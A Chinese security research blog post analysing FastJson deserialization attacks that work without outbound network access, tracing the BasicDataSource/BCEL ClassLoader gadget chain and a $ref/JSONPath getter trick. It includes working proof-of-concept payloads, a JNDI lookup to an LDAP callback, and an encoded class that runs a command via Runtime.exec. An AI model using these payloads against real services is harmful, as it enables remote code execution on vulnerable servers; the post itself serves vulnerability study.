FastJson不出网利用
2022-11-14 01:28:36

# 本文首发于 [奇安信攻防社区](奇安信攻防社区 - 浅析 FastJson 不出网利用方式 (butian.net))

# 0x01 JNDI 利用

JdbcRowSetImpl 中存在的 JNDI 注入

在这里插入图片描述

这里考虑 setAutoCommit

在这里插入图片描述

是个 set 方法

参数是布尔类型的

在这里插入图片描述

使用 Yakit 生成一个反连

在这里插入图片描述

构造 EXP

首先类名是 com.sun.rowset.JdbcRowSetImpl 也就是 @type 的值

接着是 .lookup 的参数 DataSourceName 也就是 rmi 或 ldap 的地址

最后是 AutoCommit 布尔型的参数

1
2
3
4
5
6
7
public class FastJsonJdbcRowSetImpl {
public static void main(String[] args) throws Exception{

String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/ZhALlpnN\",\"AutoCommit\":false}";
JSON.parseObject(s);
}
}

在这里插入图片描述

但是这种利用方式是需要出网的,并且有版本、依赖限制

下面来看一个可以本地利用的

# 0x02 不出网利用

fastjson≤1.2.24

条件: BasicDataSource 只需要有 dbcptomcat-dbcp 的依赖即可,dbcp 即数据库连接池,在 java 中用于管理数据库连接,还是挺常见的。

ClassLoader 存在一处 loadclass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;

/* First try: lookup hash table.
*/
if((cl=(Class)classes.get(class_name)) == null) {
/* Second try: Load system class using system class loader. You better
* don't mess around with them.
*/
for(int i=0; i < ignored_packages.length; i++) {
if(class_name.startsWith(ignored_packages[i])) {
cl = deferTo.loadClass(class_name);
break;
}
}

if(cl == null) {
JavaClass clazz = null;

/* Third try: Special request?
*/
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}

if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
}

if(resolve)
resolveClass(cl);
}

classes.put(class_name, cl);

return cl;
}

当类名是以 $$BCEL$$ 开头,就会创建一个该类,并用 definclass 去调用

BCEL 提供两个类, RepositoryUtility

Repository 用于将一个 Java Class 先转换成原生字节码,当然这里也可以直接使用 javac 命令来编译 java 文件生成字节码

Utility 用于将原生的字节码转换成 BCEL 格式的字节码

其中 createClass 方法中

在这里插入图片描述

有一处解密,所以我们需要加密一下

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.example;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.IOException;

/**
* @Author kilo、冰室/ki10Moc
* @date 2022/11/7
* @time 14:30
* @blog http://ki10.top
**/
public class FastJsonBcel {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
JavaClass javaClass = Repository.lookupClass(Evil.class);
String encode = Utility.encode(javaClass.getBytes(), true);
System.out.println(encode);
Class.forName("$$BCEL$$" + encode, true, new ClassLoader());
// new ClassLoader().loadClass("$$BCEL$$" + encode).newInstance();
}
}

# 0x03 利用链

这次我们尝试以漏洞发现者的身份来看这条链子

首先是 org.apache.tomcat.dbcp.dbcp2.BasicDataSource#createConnectionFactory()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
protected ConnectionFactory createConnectionFactory() throws SQLException {
// Load the JDBC driver class
Driver driverToUse = this.driver;

if (driverToUse == null) {
Class<?> driverFromCCL = null;
if (driverClassName != null) {
try {
try {
if (driverClassLoader == null) {
driverFromCCL = Class.forName(driverClassName);
} else {
driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
}
} catch (final ClassNotFoundException cnfe) {
driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
}
} catch (final Exception t) {
final String message = "Cannot load JDBC driver class '" + driverClassName + "'";
logWriter.println(message);
t.printStackTrace(logWriter);
throw new SQLException(message, t);
}
}

try {
if (driverFromCCL == null) {
driverToUse = DriverManager.getDriver(url);
} else {
// Usage of DriverManager is not possible, as it does not
// respect the ContextClassLoader
// N.B. This cast may cause ClassCastException which is handled below
driverToUse = (Driver) driverFromCCL.getConstructor().newInstance();
if (!driverToUse.acceptsURL(url)) {
throw new SQLException("No suitable driver", "08001");
}
}
} catch (final Exception t) {
final String message = "Cannot create JDBC driver of class '"
+ (driverClassName != null ? driverClassName : "") + "' for connect URL '" + url + "'";
logWriter.println(message);
t.printStackTrace(logWriter);
throw new SQLException(message, t);
}
}

// Set up the driver connection factory we will use
final String user = userName;
if (user != null) {
connectionProperties.put("user", user);
} else {
log("DBCP DataSource configured without a 'username'");
}

final String pwd = password;
if (pwd != null) {
connectionProperties.put("password", pwd);
} else {
log("DBCP DataSource configured without a 'password'");
}

final ConnectionFactory driverConnectionFactory = new DriverConnectionFactory(driverToUse, url,
connectionProperties);
return driverConnectionFactory;
}

我们来看关键部分

1
2
3
4
5
if (driverClassLoader == null) {
driverFromCCL = Class.forName(driverClassName);
} else {
driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
}

若存在 driverClassLoader 则会对类进行初始化

这里的 driverClassNamedriverClassLoader 都是可控的

这里就可以考虑将 driverClassLoader 的参数写为 com.sun.org.apache.bcel.internal.util.ClassLoader

接着

org.apache.tomcat.dbcp.dbcp2.BasicDataSource#createDataSource() 中调用了 createConnectionFactory()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
protected DataSource createDataSource() throws SQLException {
if (closed) {
throw new SQLException("Data source is closed");
}

// Return the pool if we have already created it
// This is double-checked locking. This is safe since dataSource is
// volatile and the code is targeted at Java 5 onwards.
if (dataSource != null) {
return dataSource;
}
synchronized (this) {
if (dataSource != null) {
return dataSource;
}

jmxRegister();

// create factory which returns raw physical connections
final ConnectionFactory driverConnectionFactory = createConnectionFactory();

// Set up the poolable connection factory
boolean success = false;
PoolableConnectionFactory poolableConnectionFactory;
try {
poolableConnectionFactory = createPoolableConnectionFactory(driverConnectionFactory);
poolableConnectionFactory.setPoolStatements(poolPreparedStatements);
poolableConnectionFactory.setMaxOpenPreparedStatements(maxOpenPreparedStatements);
success = true;
} catch (final SQLException se) {
throw se;
} catch (final RuntimeException rte) {
throw rte;
} catch (final Exception ex) {
throw new SQLException("Error creating connection factory", ex);
}

if (success) {
// create a pool for our connections
createConnectionPool(poolableConnectionFactory);
}

// Create the pooling data source to manage connections
DataSource newDataSource;
success = false;
try {
newDataSource = createDataSourceInstance();
newDataSource.setLogWriter(logWriter);
success = true;
} catch (final SQLException se) {
throw se;
} catch (final RuntimeException rte) {
throw rte;
} catch (final Exception ex) {
throw new SQLException("Error creating datasource", ex);
} finally {
if (!success) {
closeConnectionPool();
}
}

// If initialSize > 0, preload the pool
try {
for (int i = 0; i < initialSize; i++) {
connectionPool.addObject();
}
} catch (final Exception e) {
closeConnectionPool();
throw new SQLException("Error preloading the connection pool", e);
}

// If timeBetweenEvictionRunsMillis > 0, start the pool's evictor task
startPoolMaintenance();

dataSource = newDataSource;
return dataSource;
}
}

这里需要让

1
2
3
4
5
6
7
if (dataSource != null) {
return dataSource;
}
synchronized (this) {
if (dataSource != null) {
return dataSource;
}

均为 false 才能调用

接着

org.apache.tomcat.dbcp.dbcp2.BasicDataSource#getConnection() 调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Connection getConnection() throws SQLException {
if (Utils.IS_SECURITY_ENABLED) {
final PrivilegedExceptionAction<Connection> action = new PaGetConnection();
try {
return AccessController.doPrivileged(action);
} catch (final PrivilegedActionException e) {
final Throwable cause = e.getCause();
if (cause instanceof SQLException) {
throw (SQLException) cause;
}
throw new SQLException(e);
}
}
return createDataSource().getConnection();
}

至此,链子的整体流程

在这里插入图片描述

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example;

import com.alibaba.fastjson.JSON;

/**
* @Author kilo、冰室/ki10Moc
* @date 2022/11/7
* @time 14:30
* @blog http://ki10.top
**/

public class FastJsonBcel {
public static void main(String[] args){
String payload2 = "{\n" +
" {\n" +
" \"ki10\":{\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbN$db$40$U$3d$938$b1c$9c$e6A$D$94$a6o$k$81E$zPw$m6$V$95$aa$baM$d5$m$ba$9eL$a7a$82cG$f6$84$a6_$c4$3a$hZ$b1$e8$H$f0Q$88$3b$sM$pAG$f2$7d$ce9$f7$dc$f1$d5$f5$e5$l$Ao$b0$e1$c2$c1$b2$8b$V$3cr$b0j$fcc$hM$X$F$3c$b1$f1$d4$c63$86$e2$be$8a$94$3e$60$c8$b7$b6$8e$Z$ac$b7$f17$c9P$JT$q$3f$8d$G$5d$99$i$f1nH$95z$Q$L$k$k$f3D$99$7cZ$b4$f4$89J$Z$9a$81$88$H$fep$87$ff$dc$fd$a1$o$ff$3bOu$3f$8d$p$ff$f0L$85$7b$M$ce$be$I$a7C$Y$81$gA$9f$9fq_$c5$fe$fb$f6$e1X$c8$a1VqD$d7$ca$j$cd$c5$e9G$3e$cc$c8I$t$83$db$89G$89$90$ef$94$ZV2t$af$N$d6C$J$ae$8d$e7$k$5e$e0$r$a9$ma$c2$c3$x$ac1$y$de$c3$eda$j$$$c3$ea$ffE2T3$5c$c8$a3$9e$df$ee$f6$a5$d0$M$b5$7f$a5$_$a3H$ab$Bip$7bR$cf$92Fk$x$b8s$87$W$b1$e4X$K$86$cd$d6$5c$b7$a3$T$V$f5$f6$e6$B$9f$93X$c84$r$40eHM$9d$ad$7f$94p$ni$z$9b$7e$9c990$b3$y$d9$F$ca$7c$f2$8c$7ca$fb$X$d8$qk$7bd$8b$b7E$94$c9z$d3$f8$B$w$e4$jTg$60$9e$91$B$f5$df$c8$d5$f3$X$b0$be$9e$c3$f9$b0$7d$81$e2$q$ab$97$I$5b$40$3ec$5c$a2$c8$a0K$844$af$5d$s$96$gE$7f$t$94aQ$5e$a7l$91$3e$h$b9$c0$c6C$8b$g$8dL$d4$d2$N_$9f$94$o$82$C$A$A\"\n" +
" }\n" +
" }: \"Moc\"\n" +
"}";
JSON.parse(payload2);
}
}

需要注意的是

这里 poc 的嵌套

最后 JSON.parse 触发 key.toString()

在这里插入图片描述

整个 poc 都为 JSONObjectvalueMoc

然后判断是否是 JSON 对象,再去识别 keyvalue

在这里插入图片描述

调试过程中确实两次落在该断点

1
key = (key == null) ? "null" : key.toString();

而在执行 toString () 时会将当前类转为字符串形式,会提取类中所有的 Field,执行相应的 getter 、is 等方法。因此也会执行 getConnection 方法

当然以上都是建立在 parse() 方法之上

如果 poc 是 parseObject() ,那就简单了,因为在处理过程中会调用所有的 setter 和 getter 方法。详细可以看 FastJson 反序列化基础

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.example;

import com.alibaba.fastjson.JSON;

/**
* @Author kilo、冰室/ki10Moc
* @date 2022/11/7
* @time 14:30
* @blog http://ki10.top
**/

public class FastJsonBcel {
public static void main(String[] args) {
String s = "{\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbN$db$40$U$3d$938$b1c$9c$e6A$D$94$a6o$k$81E$zPw$m6$V$95$aa$baM$d5$m$ba$9eL$a7a$82cG$f6$84$a6_$c4$3a$hZ$b1$e8$H$f0Q$88$3b$sM$pAG$f2$7d$ce9$f7$dc$f1$d5$f5$e5$l$Ao$b0$e1$c2$c1$b2$8b$V$3cr$b0j$fcc$hM$X$F$3c$b1$f1$d4$c63$86$e2$be$8a$94$3e$60$c8$b7$b6$8e$Z$ac$b7$f17$c9P$JT$q$3f$8d$G$5d$99$i$f1nH$95z$Q$L$k$k$f3D$99$7cZ$b4$f4$89J$Z$9a$81$88$H$fep$87$ff$dc$fd$a1$o$ff$3bOu$3f$8d$p$ff$f0L$85$7b$M$ce$be$I$a7C$Y$81$gA$9f$9fq_$c5$fe$fb$f6$e1X$c8$a1VqD$d7$ca$j$cd$c5$e9G$3e$cc$c8I$t$83$db$89G$89$90$ef$94$ZV2t$af$N$d6C$J$ae$8d$e7$k$5e$e0$r$a9$ma$c2$c3$x$ac1$y$de$c3$eda$j$$$c3$ea$ffE2T3$5c$c8$a3$9e$df$ee$f6$a5$d0$M$b5$7f$a5$_$a3H$ab$Bip$7bR$cf$92Fk$x$b8s$87$W$b1$e4X$K$86$cd$d6$5c$b7$a3$T$V$f5$f6$e6$B$9f$93X$c84$r$40eHM$9d$ad$7f$94p$ni$z$9b$7e$9c990$b3$y$d9$F$ca$7c$f2$8c$7ca$fb$X$d8$qk$7bd$8b$b7E$94$c9z$d3$f8$B$w$e4$jTg$60$9e$91$B$f5$df$c8$d5$f3$X$b0$be$9e$c3$f9$b0$7d$81$e2$q$ab$97$I$5b$40$3ec$5c$a2$c8$a0K$844$af$5d$s$96$gE$7f$t$94aQ$5e$a7l$91$3e$h$b9$c0$c6C$8b$g$8dL$d4$d2$N_$9f$94$o$82$C$A$A\"\n" +
" }";
JSON.parseObject(s);
}
}

在这里插入图片描述

上面我们说了那么多,基本已经走完了流程,但还有个问题,这里的 driverClassName 后面的值是什么

可能还要到 com.sun.org.apache.bcel.internal.util.ClassLoader 去找答案

这里我们说,我们是通过 loadClass 下重写的方法来执行的,其中有个 defiClass 显然是通过字节码来实现的。再回过头看 createClass 中的 Utility.*decode*

这里我们还原一下内容

1
2
3
4
5
6
7
8
public class BCELDecode {
public static void main(String[] args) throws IOException {
String encode = "$l$8b$I$A$A$A$A$A$A$A...";
byte[] decode = Utility.decode(encode,true);
FileOutputStream fileOutputStream = new FileOutputStream("DecodeClass.class");
fileOutputStream.write(decode);
}
}

得到 DecodeClass.class

实际上就是静态方法里面执行弹计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package com.p1ay2win.fastjson;

import java.io.IOException;

public class Evil {
public Evil() {
}

static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
var1.printStackTrace();
}

}
}

# 0x04 $ref

fastjson≥1.2.36

这里我们要讨论的问题就是上面 JSON.parse()JSON.parseObect() 这两种不同方法调用的问题

这里给出另一种解决方法

JSONPath

在这里插入图片描述

添加依赖

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.36</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

/**
* @Author kilo、冰室/ki10Moc
* @date 2022/11/14
* @time 0:10
* @blog http://ki10.top
**/
public class TestCalc {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"org.example.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";
Object o = JSON.parse(payload);
}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.example;

import java.io.IOException;

/**
* @Author kilo、冰室/ki10Moc
* @date 2022/11/14
* @time 0:06
* @blog http://ki10.top
**/
public class Test {
private String cmd;

public String getCmd() throws IOException {
Runtime.getRuntime().exec(cmd);
return cmd;
}

public void setCmd(String cmd) {
this.cmd = cmd;
}
}

在这里插入图片描述

首先就是我们要弄清该 payload ,就需要知道 [{\"@type\":\"org.example.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}] ref 的作用

在这里插入图片描述

打上断点来 debug 下

首先是 handleResovleTask

这里是处理 refvalue 的地方

首先判断是否是开头,然后获取对象,最后确定ref开头,然后获取对象,最后确定ref:`[0].cmd`

$[0] 表示的是数组里的第一个元素,则 $[0].cmd 表示的是获取第一个元素的 cmd 属性的值。

在这里插入图片描述

来看 getObject()

在这里插入图片描述

获取数组,第 0 个位 $ ,第 1 个为 $[0] 并返回该对象

下面是 JSONPath.eval()

在这里插入图片描述

继续跟进 compile()

在这里插入图片描述

这里路径不为空,不会抛出异常

在这里插入图片描述

接着跟进 eval 下的 init()

在这里插入图片描述

这里 segments 为空,继续往下走

在这里插入图片描述

在调用 parser.explain() 方法前 segments 为空

在这里插入图片描述

Segement[] 初始长度为 8,因为其接口一共有 8 个

在这里插入图片描述

在这里插入图片描述

这里 segment 值就变成了 JSONPath

在这里插入图片描述

循环追加到 StringBuilder 后面

在这里插入图片描述

然后按顺序执行前面 explain () 生成的 Segment array

最终在 getPropertyValue() 反射调用 get()

至此,就完成了不使用 JSON.parseObect() 也能调用 get() 的方法

最后可以看下 Y4 师傅的

[Java 安全] Fastjson>=1.2.36$ref 引用可触发 get 方法分析_Y4tacker 的博客 - CSDN 博客_fastjson get 方法

# 0x05 参考

[Java 安全] Fastjson>=1.2.36$ref 引用可触发 get 方法分析_Y4tacker 的博客 - CSDN 博客_fastjson get 方法

fastjson 不出网学习 - R0ser1 - 博客园 (cnblogs.com)

FastJson 反序列化之 BasicDataSource 利用链 – cc (ccship.cn)

fastjson 不出网利用简析 - P1ay2win’s blog (play2win.top)